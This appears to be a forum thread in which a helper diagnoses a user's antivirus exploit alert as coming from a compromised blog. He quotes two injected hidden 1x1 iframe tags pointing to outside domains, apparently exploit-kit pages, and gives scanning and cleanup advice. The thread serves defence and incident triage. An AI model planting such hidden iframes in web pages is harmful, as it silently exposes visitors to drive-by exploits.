Virus

mikey72

I think there may be a virus in the following link.

www freedebate.co.uk/blog

deleted the link so no one clicks by accident, but it goes to a website about lincolnshire.
Can someone have a look and tell me what it is, and if it came from there?
It was flagged by microsft security essentials as an exploit virus, which appeared to find it and quarantine it, now removed.

Thanks.

waddler_8

Whilst I take a look at the link, open MSE's settings and go to the history. Highlight the detection and copy (ctrl +c )/paste it here.

mikey72

waddler_8 wrote: »

Whilst I take a look at the link, open MSE's settings and go to the history. Highlight the detection and copy (ctrl +c )/paste it here.

For some reason, my history is always empty, it seems to delete along with the virus.

waddler_8

Yes, it certainly looks infected. Two hidden iframes.

<iframe src=[URL="hxxp://www.verdeliri.it/in.html"]http://www.verdeliri.it/in.html[/URL] WIDTH=1 HEIGHT=1 frameborder=0></IFRAME>

<iframe src=[URL="hxxp://www.altstadtverein-alzey.de/w.html"]http://www.altstadtverein-alzey.de/w.html [/URL]WIDTH=1 HEIGHT=1 frameborder=0></IFRAME>

https://www.virustotal.com/url/2ec241413eb2d6fd3a12feb4261f33662d7337965273ea9aea8cf9ce263dc976/analysis/1342355154/

https://www.virustotal.com/url/2f2886cbbcd0f289270a98a2fbed011b843a7da078e1b559bf8d55790a89b2d0/analysis/1342355659/

http://blog.unmaskparasites.com/2009/10/28/evolution-of-hidden-iframes/

mikey72

Cheers.
It's actually a link on here. What's the virus set up to do, and will mse clear it out entirely?
Does it look like a dodgy website, or an innocent infection by a third party?

waddler_8

Compromised legitimate site by the looks of it. The unmask parasites link I gave pretty much explains it.

I'm still looking but I presume the domains are hosting an exploit kit. MSE looks to have blocked it, and in any case if your OS and installed programs are up to date it mitigates any threat from an exploit attempt.

It's actually a link on here.

Where?

EDIT: NVM - found it - Lincolnshire yokel - Contacted them

mikey72

Thanks again for the help.
I have thanked your posts, but for some reason, although the thanks button disappears, the thanks isn't showing.

waddler_8

Run a quick scan with MSE.

If you don't already have it, download and install the free version of malwarebytes - Run a quick scan with it.

http://helpdesk.malwarebytes.org/entries/20839693-where-can-i-download-the-latest-version-of-malwarebytes-anti-malware

http://helpdesk.malwarebytes.org/entries/20840058-how-do-i-install-malwarebytes-anti-malware

http://helpdesk.malwarebytes.org/entries/20863072-how-to-run-a-quick-scan

http://www.malwarebytes.org/

waddler_8

MSE (Microsoft Security Essentials) detection:

Category: Exploit

Description: This program is dangerous and exploits the computer on which it is run.

Recommended action: Remove this software immediately.

Items:
file:C:\Sandbox\waddler\DefaultBox\user\current\Local Settings\Temporary Internet Files\Content.IE5\LXHLN0TY\blog[1].htm

Get more information about this item online.

mikey72

Both come back clear, just ran them again after an update to make sure.
Just my thanks button that appears to work, but then nothing. So thanks again.

waddler_8

No problem.

Whilst the site needs cleaning to remove the iframes, the links they point to do appear to be dead/benign now.

http://sitecheck.sucuri.net/results/www.freedebate.co.uk/blog